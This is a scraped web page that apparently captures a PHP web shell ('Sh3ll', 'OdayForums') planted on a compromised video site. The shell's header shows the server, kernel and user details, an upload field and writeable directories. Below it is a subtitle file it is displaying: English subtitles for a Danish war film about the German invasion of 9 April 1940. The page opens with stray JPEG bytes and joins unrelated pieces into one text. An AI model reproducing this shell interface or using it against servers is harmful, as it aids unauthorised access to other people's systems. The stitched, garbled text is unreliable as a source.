����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c8a683b369b6-1552574523.vtt
WEBVTT - https://subtitletools.com

00:00:30.876 --> 00:00:35.293
... and now a proclamation
from His Majesty the King.

00:00:35.459 --> 00:00:39.334
"During these
very trying times for our nation -

00:00:39.501 --> 00:00:42.751
- I encourage everyone
throughout our land -

00:00:42.917 --> 00:00:47.500
- to maintain appropriate
and dignified behaviour, -

00:00:47.667 --> 00:00:51.042
- as any hasty act
or utterance -

00:00:51.209 --> 00:00:54.751
- could have
the most dire consequences.

00:00:54.917 --> 00:00:57.334
May God save us all.

00:00:57.501 --> 00:01:00.459
May God save Denmark.

00:01:00.626 --> 00:01:06.709
Christian Rex, Amalienborg,
April 9th, 1940."

00:01:08.417 --> 00:01:12.459
In the early morning on April 9th,
1940 German forces invade Denmark.

00:01:12.626 --> 00:01:16.751
The ill-equipped Danish army faces
the strongest army in Europe.

00:01:16.917 --> 00:01:22.417
The most violent battles
take place in the south of Jutland.

00:01:38.001 --> 00:01:41.959
The lieutenant asked me to drive you
directly to the exercise area.

00:01:45.292 --> 00:01:47.667
Tension is growing in the barracks.

00:01:47.834 --> 00:01:51.042
They've communicated with Copenhagen,
but they're not telling us anything.

00:01:51.209 --> 00:01:54.334
I know as little as you, Sergeant.

00:01:57.751 --> 00:02:00.418
April 8th, 1940
Søgård, 12 kilometres from the border

00:02:00.584 --> 00:02:05.001
She doesn't answer,
so I lean in towards her.

00:02:05.167 --> 00:02:07.542
- Do you know what she said?
- No.

00:02:07.709 --> 00:02:10.876
That she doesn't want
a bloody soldier.

00:02:11.042 --> 00:02:13.876
Pick up the pace.
We're in a hurry.

00:02:15.709 --> 00:02:19.459
- What did you do?
- I worked with my dad.

00:02:19.626 --> 00:02:23.084
I didn't see Ingrid all that much.

00:02:23.251 --> 00:02:26.042
You'll see her soon.

00:02:26.209 --> 00:02:29.126
- What about you, Gram?
- What about me?

00:02:29.292 --> 00:02:32.917
- What have you been doing?
- Wouldn't you like to know.

00:02:33.084 --> 00:02:36.167
Then you could make fun of me.

00:02:36.334 --> 00:02:39.042
- You always think the worst of me.
- Yes.

00:02:39.209 --> 00:02:42.251
Come on, Gram. Tell us.

00:02:42.417 --> 00:02:45.167
If you really want to know, -

00:02:45.334 --> 00:02:49.917
- I was at my parent's place.
I was getting my laundry done.

00:02:50.084 --> 00:02:52.209
I read a book.

00:02:52.376 --> 00:02:56.959
Sometimes I feel
so sad for you, Gram.

00:02:57.126 --> 00:02:59.751
Gram?

00:02:59.917 --> 00:03:03.084
Why do you think
they cut our leave short?

00:03:03.251 --> 00:03:06.501
You were told the same as us.
It's an alarm drill.

00:03:06.667 --> 00:03:09.126
It's just an exercise.

00:03:42.542 --> 00:03:45.167
- Second Lieutenant.
- Lieutenant.

00:03:45.334 --> 00:03:49.209
Here we are again.
Someone's been crying wolf again.

00:03:49.376 --> 00:03:52.126
I thought it wasn't just
an exercise.

00:03:52.292 --> 00:03:57.042
We've received intelligence
on movements of munitions in Kiel.

00:03:57.209 --> 00:04:03.167
A train full of troops has been seen
heading north towards the border.

00:04:03.334 --> 00:04:05.501
That doesn't sound good.

00:04:05.667 --> 00:04:10.209
The General Staff is also worried,
so all leave has been revoked.

00:04:11.542 --> 00:04:15.667
They've even sent a motorcycle unit
down here. We're their support unit.

00:04:15.834 --> 00:04:19.001
They're led by a Sergeant Bundgaard.

00:04:22.876 --> 00:04:25.376
225 and entourage reporting for duty.

00:04:25.542 --> 00:04:30.751
You're too late. Get your weapons
and join in the target practice.

00:04:30.917 --> 00:04:35.167
Those three enlisted men. Assign them
to kitchen duty for the week.

00:04:35.334 --> 00:04:38.709
Affirmative, Lieutenant.
Kitchen duty for a week.

00:04:42.042 --> 00:04:44.126
Very good.

00:04:45.834 --> 00:04:48.626
221, fire.

00:04:48.792 --> 00:04:50.501
Good shot.

00:04:50.667 --> 00:04:53.459
212, fire.

00:04:56.251 --> 00:04:58.001
Try again.

00:05:00.876 --> 00:05:04.959
212, pull yourself together.
This is serious business.

00:05:05.126 --> 00:05:08.542
I don't know whom I fear
the most, Lassen or the Germans.

00:05:08.709 --> 00:05:13.709
- I'll miss if you laugh at me.
- You'll miss either way.

00:05:13.876 --> 00:05:16.376
Anything to drink?

00:05:16.542 --> 00:05:18.834
- Coffee, please.
- Cognac.

00:05:21.167 --> 00:05:23.751
I think the Germans
are headed for Norway.

00:05:23.917 --> 00:05:27.792
They want to take Norwegian waters.
Denmark has no strategic value.

00:05:27.959 --> 00:05:32.792
Our southern neighbours haven't
exactly been predictable recently.

00:05:36.376 --> 00:05:38.126
Thank you.

00:05:39.001 --> 00:05:42.876
You must be tired.
When did you get up?

00:05:43.042 --> 00:05:44.876
At 3am.

00:05:45.042 --> 00:05:49.376
I tried to sneak out,
but I woke up the entire family.

00:05:49.542 --> 00:05:52.584
Hopefully your wife
wasn't too worried.

00:05:52.751 --> 00:05:57.292
I didn't say anything
but my wife knows me too well.

00:05:59.292 --> 00:06:03.209
It's not the first time the Germans
have been at the border.

00:06:03.376 --> 00:06:07.126
- Let's just see.
- Finish the target practice. Unload.

00:06:08.667 --> 00:06:13.584
Next exercise is by the bicycles.
To the bicycles. March.

00:06:15.209 --> 00:06:18.126
- Good morning, Gram.
- Good to see you.

00:06:18.292 --> 00:06:22.334
- Did you improve your shooting?
- Faster! To the bicycles!

00:06:25.667 --> 00:06:28.542
- Ready, Sergeant.
- Ready, Sergeant!

00:06:30.126 --> 00:06:34.626
Very well. First drill. Changing
the front tube. Two minutes.

00:06:42.959 --> 00:06:46.167
- Do you have them?
- Yes.

00:06:46.334 --> 00:06:48.042
Help me. Come on.

00:06:54.959 --> 00:06:57.584
- Hand me the tyre.
- Faster. Come on.

00:07:02.292 --> 00:07:06.251
- Hold this.
- Get the wheel back on the bicycles.

00:07:06.417 --> 00:07:11.042
- Hold on. Get it up there.
- Fasten those nuts.

00:07:19.084 --> 00:07:22.959
- Ready, Sergeant.
- Ready, Sergeant!

00:07:23.126 --> 00:07:25.501
Thank you.

00:07:26.626 --> 00:07:28.917
- Lieutenant.
- Do it again.

00:07:29.084 --> 00:07:33.834
- This time in under 90 seconds.
- 90 seconds? Yes, sir.

00:07:36.084 --> 00:07:41.417
Alright. Let's do it again,
this time in under 90 seconds.

00:07:41.584 --> 00:07:43.834
What are you waiting for?

00:07:45.501 --> 00:07:47.751
- Come on, Lassen.
- Faster!

00:07:47.917 --> 00:07:52.751
- 90 seconds!
- He must be out of his mind.

00:08:05.334 --> 00:08:09.167
Kolding, are you
going to eat all your bread?

00:08:09.334 --> 00:08:12.084
- Yes, Justesen, I am.
- Still hungry, Justesen?

00:08:12.251 --> 00:08:15.584
Easy now. You don't
have to roll your way home.

00:08:15.751 --> 00:08:18.834
You city folk are chatty
when you're together.

00:08:19.001 --> 00:08:21.584
But when you're alone -

00:08:21.751 --> 00:08:24.334
- I don't hear a peep out of you.

00:08:24.501 --> 00:08:27.626
How long do you think
we have to do this, Gram?

00:08:27.792 --> 00:08:30.501
Until we can do it
in less than 90 seconds.

00:08:30.667 --> 00:08:34.542
We've tried.
It's not going to happen.

00:08:34.709 --> 00:08:38.167
The Second Lieutenant
just wants to see us sweat.

00:08:38.334 --> 00:08:41.584
The wife probably wasn't as nice
to him as he'd have liked.

00:08:41.751 --> 00:08:44.834
- He's your superior officer.
- Yes.

00:08:45.001 --> 00:08:47.709
But he can't hear me.

00:08:47.876 --> 00:08:51.542
Unless you squeal, Mr. Barracks Duty.

00:09:07.917 --> 00:09:11.709
Lieutenant, I have an important
message from the Lieutenant Colonel.

00:09:11.876 --> 00:09:15.501
Abort the exercise
and return to barracks.

00:09:15.667 --> 00:09:18.459
After a quick meal
everybody should sleep in uniform.

00:09:18.626 --> 00:09:21.584
- What's happened?
- We've received new intel.

00:09:21.751 --> 00:09:23.709
A German column -

00:09:23.876 --> 00:09:27.668
- is marching towards the border.
It's several kilometres long.

00:09:27.834 --> 00:09:30.584
The Lieutenant Colonel
doesn't want anyone to panic.

00:09:30.751 --> 00:09:34.959
This is still to be called
an exercise.

00:09:36.959 --> 00:09:41.709
Sergeant Klostergaard, stop eating.
We're heading towards the barracks.

00:09:41.876 --> 00:09:45.792
You heard the Lieutenant!
Get up! To the bicycles!

00:10:03.626 --> 00:10:05.584
Eyes front!

00:10:05.751 --> 00:10:10.584
You will be issued 40 rounds
and a med kit.

00:10:10.751 --> 00:10:14.209
March straight to your room
and go to bed in uniform.

00:10:14.376 --> 00:10:19.376
You'll wear both your uniform and
boots and keep your equipment ready.

00:10:19.542 --> 00:10:23.667
From now on your dog-tags
are to be worn at all times.

00:10:25.001 --> 00:10:27.084
Turn right!

00:10:28.084 --> 00:10:30.167
Get to it.

00:10:40.251 --> 00:10:42.834
40 rounds each?

00:11:01.626 --> 00:11:05.001
Do you still think
it's an exercise, Gram?

00:11:06.126 --> 00:11:08.751
They deserve to know
what's going on.

00:11:08.917 --> 00:11:13.042
Yes. But it's not our decision
to make, Second Lieutenant.

00:13:01.251 --> 00:13:05.834
Checkpoint 3 here. There is
heavy activity on the other side.

00:13:06.001 --> 00:13:11.001
I repeat. Heavy activity
on the German side of the border.

00:13:11.167 --> 00:13:14.417
Roger that.
Have the Germans crossed the border?

00:13:14.584 --> 00:13:18.751
No, but we can hear heavy activity.

00:13:18.917 --> 00:13:22.209
- How large a force?
- How large a force?

00:13:22.376 --> 00:13:27.501
That's hard to tell. We can't see
them. We can only hear them.

00:13:27.667 --> 00:13:30.334
What are our orders?

00:13:30.501 --> 00:13:33.001
Stand by
and await further instructions.

00:13:33.167 --> 00:13:37.209
Checkpoint 3, stay there. Stand by
and await further instructions.

00:13:37.376 --> 00:13:42.709
- Yes, sir. Roger that.
- Padborg, Krusaa and now Rens.

00:13:42.876 --> 00:13:46.959
There's no longer any doubt
about their intentions.

00:13:47.126 --> 00:13:50.834
Get me the head of
the Jutland Division again.

00:13:55.084 --> 00:13:58.501
Haderslev and Sønderborg
are also on red alert.

00:13:58.667 --> 00:14:00.167
They're waiting for permission
to leave.

00:14:00.334 --> 00:14:03.584
They're 50 kilometres away.
The first hour we're alone.

00:14:03.751 --> 00:14:06.667
Lieutenant Colonel?
The head of the Jutland Division.

00:14:06.834 --> 00:14:09.001
Turn off the loudspeaker.

00:14:11.584 --> 00:14:17.292
Major General? Three checkpoints
report rising troop activity.

00:14:17.459 --> 00:14:21.084
I implore you to let me take
my troops to the border -

00:14:21.251 --> 00:14:25.001
- and have them
take a defensive position.

00:14:25.167 --> 00:14:29.709
I realise that, Major General, but
we're 10 kilometres from the border.

00:14:29.876 --> 00:14:35.459
If we wait here for them to cross
there's no time to take position.

00:14:37.917 --> 00:14:42.209
Has the General Staff considered
persuading the Minister?

00:14:42.376 --> 00:14:46.584
Considering the recent escalation

00:14:50.084 --> 00:14:52.834
Yes, Major General.

00:14:54.501 --> 00:14:57.084
We'll do our best.

00:15:02.209 --> 00:15:06.209
No news so far.
We'll stay on red alert for now.

00:15:06.376 --> 00:15:10.001
The Prime Minister feels that
any Danish mobilization -

00:15:10.167 --> 00:15:13.251
- might be viewed as confrontational.

00:15:13.417 --> 00:15:18.042
Defense strategy is a confrontation?
And the German manoeuvres aren't?

00:15:18.209 --> 00:15:23.084
- Keep your opinions to your self.
- Yes, lieutenant Colonel. Sorry.

00:15:24.792 --> 00:15:28.167
Gentlemen, get your men
ready to march.

00:15:28.334 --> 00:15:31.417
Yes, Lieutenant Colonel.

00:15:40.251 --> 00:15:42.709
- Sergeant Klostergaard?
- Yes.

00:15:42.876 --> 00:15:45.751
- Room inspection.
- Yes, Second Lieutenant.

00:15:53.167 --> 00:15:55.959
Shouldn't we have taken
a defensive position?

00:15:56.126 --> 00:16:01.667
Yes, we should. You can thank your
prime minister for this situation.

00:16:18.792 --> 00:16:21.376
May I see the photo?

00:16:31.876 --> 00:16:34.959
- Can I have it back, please?
- Easy now.

00:16:37.709 --> 00:16:40.834
There's not much that we can do.

00:16:42.334 --> 00:16:46.417
Not everybody's an excellent shot.
Come on.

00:16:53.292 --> 00:16:56.417
Hi, Lassen.
Are you getting any sleep?

00:16:57.084 --> 00:17:00.042
Not much, no.

00:17:00.209 --> 00:17:03.292
- Are you nervous, Lassen?
- Yes.

00:17:03.459 --> 00:17:07.167
Yes. It's not everyday
they supply us with ammunition.

00:17:07.334 --> 00:17:11.459
- 40 rounds each isn't much.
- No we didn't get a lot.

00:17:15.167 --> 00:17:18.417
Can we have some of yours?

00:17:18.584 --> 00:17:23.334
It's not for me. I have
the machine gun. It's for Lundgren.

00:17:23.501 --> 00:17:26.792
I don't think
we're allowed to do that, Andersen.

00:17:26.959 --> 00:17:30.709
Lassen, you're not
the best shot here. You know that.

00:17:30.876 --> 00:17:34.334
But Lundgren
We know what he can do with a rifle.

00:17:34.501 --> 00:17:37.501
- Just half of them.
- 20 rounds.

00:17:37.667 --> 00:17:41.001
It's for all our sakes.

00:17:41.834 --> 00:17:43.917
- Yes.
- Good.

00:17:50.376 --> 00:17:53.626
Lassen, stop. Don't do it.

00:17:53.792 --> 00:17:57.584
We each received 40 rounds.
No one's getting any more than that.

00:17:57.751 --> 00:18:01.917
- The two of you should be in bed.
- Yes, Mr. Barracks Duty.

00:18:03.501 --> 00:18:05.959
- I'm serious.
- Gram, it's okay.

00:18:06.126 --> 00:18:09.334
- I don't mind.
- What's the problem?

00:18:09.501 --> 00:18:13.292
It's not up to you to decide,
and you know that.

00:18:19.251 --> 00:18:23.126
- Gram, don't you want a victory?
- Of course I do.

00:18:23.292 --> 00:18:27.584
You're German, right?
Maybe you don't want a victory.

00:18:27.751 --> 00:18:30.501
I'm proud to call myself a Dane.

00:18:30.667 --> 00:18:33.751
- But you're not.
- That's exactly what I am.

00:18:33.917 --> 00:18:36.626
- Your father's German, right?
- Yes.

00:18:36.792 --> 00:18:40.834
- Then you're German, too.
- You're thicker than I thought.

00:18:41.001 --> 00:18:43.542
This is not a game.

00:18:43.709 --> 00:18:47.376
Let's save it for tomorrow, eh?

00:18:47.542 --> 00:18:51.417
- Go back to sleep.
- It's hard with you squabbling.

00:18:51.584 --> 00:18:54.417
No one's speaking to you, Justesen.

00:18:54.584 --> 00:18:58.792
I'm serious, Andersen.
Get into your bed. Right now.

00:18:58.959 --> 00:19:02.459
- Or what?
- Just go to bed.

00:19:02.626 --> 00:19:05.626
- What's going on in here?
- Attention!

00:19:07.876 --> 00:19:10.376
You were to go to bed in uniform!

00:19:10.542 --> 00:19:14.792
And look at you! I have better things
to do than to keep an eye on you!

00:19:14.959 --> 00:19:18.584
How hard is it to button a jacket?

00:19:23.667 --> 00:19:27.001
Your buttons are crooked!
Do it again!

00:19:30.626 --> 00:19:34.584
225, you're on barracks duty.
This is your responsibility!

00:19:34.751 --> 00:19:37.209
Yes, Sergeant.

00:19:39.834 --> 00:19:42.501
Button those jackets.

00:19:47.001 --> 00:19:50.584
- Finish that letter and go to bed.
- Yes, Second Lieutenant.

00:19:53.167 --> 00:19:56.626
This room will be completely quiet
in two minutes!

00:20:01.209 --> 00:20:03.084
As you were!

00:20:31.917 --> 00:20:35.751
- Need a match, Second Lieutenant?
- I think so.

00:20:46.167 --> 00:20:49.709
- Are your men sleeping?
- They're trying to.

00:20:49.876 --> 00:20:51.876
It's hard in a uniform.

00:20:52.042 --> 00:20:55.459
I thought that that order
was directed at everyone

00:20:55.626 --> 00:20:58.667
except the officers.

00:21:01.001 --> 00:21:04.209
- You're Bundgaard?
- Yes.

00:21:04.376 --> 00:21:08.084
I understand
we're supporting your unit.

00:21:08.251 --> 00:21:12.126
- If they cross the border.
- When they cross the border.

00:21:13.626 --> 00:21:16.584
We'll probably
be the first to face them.

00:21:16.751 --> 00:21:19.584
Somebody has to go first.

00:21:20.792 --> 00:21:24.959
- Can I have one?
- Of course.

00:21:37.917 --> 00:21:42.167
Well Cycle as hard
as you can getting there.

00:21:42.334 --> 00:21:45.584
- We'll need you there.
- We'll be there.

00:21:45.751 --> 00:21:48.334
We're faster than you think.

00:21:48.501 --> 00:21:52.167
- Keep the matches.
- Thank you.

00:21:56.542 --> 00:22:00.084
- Sergeant Bundgaard.
- Second Lieutenant.

00:22:25.376 --> 00:22:29.084
If the Germans wanted to attack
they'd have done it by now.

00:22:29.251 --> 00:22:32.334
Someone's sitting
somewhere negotiating.

00:22:32.501 --> 00:22:36.917
No one's interested
in a direct confrontation.

00:22:46.917 --> 00:22:49.834
Something's going on
in the radio room.

00:22:53.834 --> 00:22:57.542
Checkpoint 3. Please repeat.

00:22:57.709 --> 00:23:00.209
German troops are on the move.

00:23:00.376 --> 00:23:03.292
What can you see?

00:23:04.626 --> 00:23:07.626
We can see some infantry
and armoured vehicles.

00:23:07.792 --> 00:23:12.667
- They're coming straight at us.
- Have they crossed the border?

00:23:14.667 --> 00:23:17.417
Checkpoint 3?

00:23:19.001 --> 00:23:22.917
The border's breached.
We're under fire! What ...?

00:23:24.459 --> 00:23:30.126
Checkpoint 3, please repeat.
Checkpoint 3, come in.

00:23:31.584 --> 00:23:36.084
You heard him.
The enemy has breached our border.

00:23:36.251 --> 00:23:38.709
Denmark is in a state of war.

00:23:38.876 --> 00:23:43.167
Gentlemen, now's the time to show
what we're made of.

00:23:44.626 --> 00:23:48.001
Alert! Alert! Come on!

00:24:27.584 --> 00:24:30.084
On your bikes! Quickly!

00:24:35.667 --> 00:24:38.084
Come on, Kolding.

00:24:43.917 --> 00:24:48.167
- 2nd Bicycle Platoon, let's go!
- Yes, Sergeant.

00:24:51.917 --> 00:24:53.042
Next.

00:24:53.209 --> 00:24:57.209
Second Lieutenant, 219, 4th Company,
2nd Platoon. Machine gun.

00:24:58.251 --> 00:24:59.959
Next.

00:25:00.126 --> 00:25:03.792
Second Lieutenant, 223,
4th Company, 2nd Platoon, assistant.

00:25:05.876 --> 00:25:08.792
- Next.
- 217, 4th Company, 2nd Platoon.

00:25:08.959 --> 00:25:11.501
- Assistant.
- Next.

00:25:15.126 --> 00:25:18.667
- 233, help him with the tripod.
- Yes, sir.

00:25:24.959 --> 00:25:27.042
- Ready?
- Yes, Sergeant!

00:25:27.209 --> 00:25:30.626
- 217, are you ready? 212?
- Yes, Sergeant!

00:25:30.792 --> 00:25:33.542
Correct that rifle!
219, are you ready?

00:25:33.709 --> 00:25:35.667
Yes, Sergeant!

00:25:40.417 --> 00:25:44.209
The Germans have breached the border
in three places, among them Krusaa.

00:25:44.376 --> 00:25:47.376
They're coming straight at us
on Highway 10.

00:25:47.542 --> 00:25:50.334
If we can hold that road,
the Germans can't move north.

00:25:50.501 --> 00:25:52.459
Any news from the other barracks?

00:25:52.626 --> 00:25:55.543
Haderslev and Sønderborg
are on their way.

00:25:55.709 --> 00:25:58.792
We have to hold the enemy
until help arrives.

00:25:58.959 --> 00:26:01.459
Then we force the Germans back.

00:26:01.626 --> 00:26:04.543
All new orders
will come from Sønder Hostrup.

00:26:04.709 --> 00:26:08.001
We'll rendezvous at Lundtoftebjerg.
Hold them back until then.

00:26:08.167 --> 00:26:12.667
We'll do our best, Lieutenant.
Lieutenant.

00:26:14.417 --> 00:26:16.334
Attention!

00:26:18.792 --> 00:26:23.084
- Platoon at the ready.
- Affirmative, Sergeant.

00:26:29.292 --> 00:26:31.917
A German panzer division
has breached the border!

00:26:32.084 --> 00:26:36.167
This is not an exercise!
Denmark is at war!

00:26:36.334 --> 00:26:38.251
Fight well!

00:26:38.417 --> 00:26:41.292
Platoon, follow me!

00:27:07.792 --> 00:27:10.667
Platoon, ready to mount
your bicycles!

00:27:12.209 --> 00:27:14.209
Mount!

00:28:48.792 --> 00:28:50.917
Faster!

00:29:01.792 --> 00:29:04.501
- Halt!
-Halt! Dismount!

00:29:06.042 --> 00:29:08.334
At the ready!

00:29:23.459 --> 00:29:26.001
It's the motorcycle platoon.

00:29:31.501 --> 00:29:35.334
- Maybe it's all over.
- I don't think so.

00:29:37.334 --> 00:29:39.292
Halt!

00:29:40.834 --> 00:29:43.959
Lieutenant.
We barely got into position.

00:29:44.126 --> 00:29:47.584
We stopped a few armoured vehicles
and got some foot soldiers.

00:29:47.751 --> 00:29:50.001
- But there were too many of them.
- How many?

00:29:50.167 --> 00:29:54.334
One or two motorized companies
supported by armoured vehicles.

00:29:54.501 --> 00:29:57.418
We're heading north
to set up proper defences.

00:29:57.584 --> 00:30:01.709
- We are to hold Lundtoftebjerg.
- Lundtoftebjerg has fallen.

00:30:01.876 --> 00:30:06.376
- Then we dig ourselves down here.
- Terrain's too open. Come with us.

00:30:06.542 --> 00:30:10.375
We are to hold Lundtoftebjerg until
Haderslev and Sønderborg get here.

00:30:10.542 --> 00:30:14.167
- You don't know what's coming.
- Do as you please.

00:30:14.334 --> 00:30:18.292
I never ignore my orders.
There's no time for quarreling.

00:30:18.459 --> 00:30:23.084
Sand. You have to convince him.

00:30:26.001 --> 00:30:29.792
- I agree with him.
- Be careful, Second Lieutenant.

00:30:29.959 --> 00:30:32.209
Let's move out!

00:30:43.292 --> 00:30:45.667
What's going on?

00:31:00.459 --> 00:31:03.209
- Sergeant Klostergaard!
- Yes, sir!

00:31:12.334 --> 00:31:15.751
The machine gun's our best bet
against their armoured vehicles.

00:31:15.917 --> 00:31:18.876
Let's split into three groups.

00:31:19.042 --> 00:31:22.501
How long until
the reinforcements arrive?

00:31:22.667 --> 00:31:24.709
- At least 20 minutes.
- All right.

00:31:24.876 --> 00:31:29.501
Sand, first group, in the trees.
I'll take the second group.

00:31:29.667 --> 00:31:33.417
Third group on the hill.
Machine gun, await my signal.

00:31:33.584 --> 00:31:38.126
Carbines, open fire when the
infantry's within range. Understood?

00:31:38.292 --> 00:31:40.834
- Yes, sir.
- Come on.

00:31:42.126 --> 00:31:45.959
- First group, you're with me!
- Second, wait for the Lieutenant.

00:31:46.126 --> 00:31:48.667
Third group, follow me!

00:31:50.876 --> 00:31:53.167
Second group!

00:31:59.209 --> 00:32:04.542
219, by that tree!
212, assist the machine gun group.

00:32:04.709 --> 00:32:07.876
50 meters that way!

00:32:08.042 --> 00:32:11.001
- We'll position ourselves here, 225!
- Yes, sir.

00:32:35.792 --> 00:32:37.584
Here.

00:33:26.167 --> 00:33:29.959
Good position, 219. We're standing
by for the Lieutenant's orders.

00:33:30.126 --> 00:33:33.293
Short bursts.
Focus on their armoured vehicles.

00:33:33.459 --> 00:33:35.959
Affirmative, Second Lieutenant.

00:33:36.126 --> 00:33:39.209
Where was
the motorcycle platoon going?

00:33:39.376 --> 00:33:42.834
I need you to focus on that road.

00:33:43.001 --> 00:33:45.209
Affirmative.

00:34:01.751 --> 00:34:05.751
I'm starving.
We haven't even had coffee today.

00:34:05.917 --> 00:34:09.459
- Are you thinking about that now?
- I'm serious, Gram.

00:34:09.626 --> 00:34:12.209
I can't function
without my morning coffee.

00:34:12.376 --> 00:34:14.959
You and your coffee.

00:34:21.209 --> 00:34:25.084
233, get in position. Only the
machine gun fires at the signal.

00:34:25.251 --> 00:34:28.959
Everyone else,
wait until you see the infantry.

00:34:48.042 --> 00:34:50.667
There's a headwind.

00:34:52.751 --> 00:34:55.417
The sun has just begun to rise.

00:35:01.292 --> 00:35:05.292
- Good hunting conditions.
- Quiet, Kolding.

00:35:44.001 --> 00:35:46.001
Wait.

00:35:54.209 --> 00:35:57.292
- Get down, 225.
- Affirmative.

00:36:07.667 --> 00:36:09.459
Ready.

00:36:22.417 --> 00:36:24.084
Ready.

00:36:34.751 --> 00:36:36.459
- Fire!
- Fire!

00:36:46.084 --> 00:36:48.917
- They're just bouncing off it!
- I know!

00:37:01.959 --> 00:37:04.209
Reload!

00:37:07.751 --> 00:37:10.584
233, wait for the infantry.

00:37:20.376 --> 00:37:21.751
Fire!

00:37:32.542 --> 00:37:34.459
Reloading!

00:37:45.626 --> 00:37:49.459
They're going for the machine gun!
225, cover the right flank!

00:37:49.626 --> 00:37:52.001
You, too, 212!

00:37:55.501 --> 00:37:58.334
Two armoured vehicles to the right.

00:37:58.501 --> 00:38:00.334
Affirmative.

00:38:03.709 --> 00:38:06.001
Reload!

00:38:15.209 --> 00:38:19.001
- Come on, 233!
- Yes, Second Lieutenant.

00:38:36.376 --> 00:38:37.251
212?

00:38:37.417 --> 00:38:40.917
- Reloading!
- 233, cover the road!

00:38:41.084 --> 00:38:43.292
Yes, Second Lieutenant!

00:38:49.167 --> 00:38:51.917
Second Lieutenant, help us!

00:38:52.084 --> 00:38:54.917
I'm retreating!

00:38:56.626 --> 00:38:59.126
Retreat!

00:38:59.292 --> 00:39:02.334
Come on! Retreat!
212, follow them!

00:39:06.126 --> 00:39:08.667
219, retreat!

00:39:19.959 --> 00:39:22.667
- You hit it!
- I bloody got it!

00:39:24.084 --> 00:39:27.542
Shoot them! Shoot them!
Shoot them, Kolding!

00:39:31.792 --> 00:39:32.834
Kolding!

00:39:37.376 --> 00:39:39.584
Nørreskov! Help him!

00:39:42.876 --> 00:39:45.376
- Is it bad?
- Yes, it's bad!

00:39:45.542 --> 00:39:47.792
We need help!

00:39:50.542 --> 00:39:52.209
Nørreskov!

00:39:56.459 --> 00:39:58.834
Retreat!

00:40:17.709 --> 00:40:23.292
- We have to get him out of here.
- Kolding.

00:40:23.459 --> 00:40:27.542
- We must retreat, Second Lieutenant.
- Kolding, look at me.

00:40:31.626 --> 00:40:35.751
223, take the ammunition bag.
Take the ammunition bag.

00:40:35.917 --> 00:40:40.084
We can't do anything more here!
Nothing more! Come on!

00:40:41.542 --> 00:40:45.167
219, get the machine gun!
Leave the tripod!

00:40:47.042 --> 00:40:49.084
Come on!

00:41:05.084 --> 00:41:08.542
Where's Kolding?

00:41:10.626 --> 00:41:13.293
- Where's Kolding?
- Follow me.

00:41:13.459 --> 00:41:16.292
- Where's Kolding?
- Control yourself!

00:41:16.459 --> 00:41:21.001
- Where is he?
- Kolding's dead! Follow me!

00:41:21.167 --> 00:41:22.501
Come on!

00:41:22.667 --> 00:41:26.250
- Come on.
- Nørreskov!

00:41:26.417 --> 00:41:28.167
This way!

00:41:37.667 --> 00:41:39.626
Down to that farm.

00:41:41.126 --> 00:41:44.417
212, hide all the bicycles
in the shed.

00:41:46.876 --> 00:41:49.292
Come on. Quickly.

00:42:02.376 --> 00:42:04.584
Come on, 212!

00:42:05.917 --> 00:42:08.167
Get inside.

00:42:15.751 --> 00:42:18.042
219, take this window.

00:42:19.834 --> 00:42:22.626
223, take that window.

00:42:22.792 --> 00:42:25.376
- 225, take that one.
- Yes, sir.

00:42:25.542 --> 00:42:28.459
Give me that rifle.

00:42:28.626 --> 00:42:31.792
Pull yourself together,
so we can get out of this alive.

00:42:31.959 --> 00:42:34.751
- Here. If you see anything ...
- What are you doing here?

00:42:34.917 --> 00:42:37.251
- No!
- Easy, easy!

00:42:37.417 --> 00:42:41.001
- Get down on the floor, madam!
- Oh, no!

00:42:42.959 --> 00:42:45.667
You have to remain quiet.

00:42:45.834 --> 00:42:48.709
- We won't stay long.
- All right.

00:43:16.876 --> 00:43:19.167
219, is anybody approaching?

00:43:23.542 --> 00:43:26.209
I can't see anyone.

00:43:37.584 --> 00:43:41.334
- Still no one?
- No.

00:43:50.251 --> 00:43:53.417
I don't think anybody's coming.

00:44:04.084 --> 00:44:08.459
Madam, could you help
wash this man's face?

00:44:08.626 --> 00:44:10.251
- Yes.
- 223.

00:44:10.417 --> 00:44:12.959
- That one?
- Yes.

00:44:20.084 --> 00:44:22.167
Come on.

00:44:24.001 --> 00:44:25.917
225.

00:44:32.709 --> 00:44:37.334
We'll continue going north.
Up to Sønder Hostrup.

00:44:37.501 --> 00:44:41.084
We'll get to the Lieutenant Colonel.
That's where the command centre is.

00:44:41.251 --> 00:44:45.542
- They can give us new orders.
- So we'll continue?

00:44:45.709 --> 00:44:49.417
What else did you have in mind, 233?

00:44:49.584 --> 00:44:53.167
Nothing, Second Lieutenant.
I'm ready.

00:44:55.001 --> 00:44:57.376
225.

00:44:59.084 --> 00:45:02.126
I need a second-in-command.

00:45:02.292 --> 00:45:04.334
That's you.

00:45:05.667 --> 00:45:09.167
219, give 233 his rifle.

00:46:04.584 --> 00:46:06.834
Come on.

00:46:13.376 --> 00:46:17.542
There. Now you're clean again.
Such a sweet boy.

00:46:23.167 --> 00:46:25.209
There.

00:46:28.876 --> 00:46:31.459
We're leaving.

00:46:44.834 --> 00:46:47.917
- Let's continue.
- Yes, sir. Gentlemen.

00:46:59.959 --> 00:47:02.334
- Madam.
- You can hide here.

00:47:02.501 --> 00:47:06.167
You can stay in the hayloft.
No one will find you there.

00:47:06.334 --> 00:47:10.709
- To what end? We're at war.
- It would save the boys' lives.

00:47:12.709 --> 00:47:15.667
I'm protecting them
with everything I've got.

00:47:15.834 --> 00:47:20.126
But I refuse to hide them during a
war. And they don't want that either.

00:47:20.292 --> 00:47:24.751
20 years ago this was Germany
and now it's Denmark.

00:47:24.917 --> 00:47:28.876
Perhaps I should be ashamed of this,
but it doesn't matter much to me.

00:47:29.042 --> 00:47:32.667
It matters greatly to me.

00:47:32.834 --> 00:47:35.584
Thank you for your help.

00:47:47.751 --> 00:47:50.084
Attention!

00:47:53.667 --> 00:47:56.376
I don't know what's happened
to the Lieutenant, -

00:47:56.542 --> 00:47:59.750
- Sergeant Klostergaard
or the rest of the platoon.

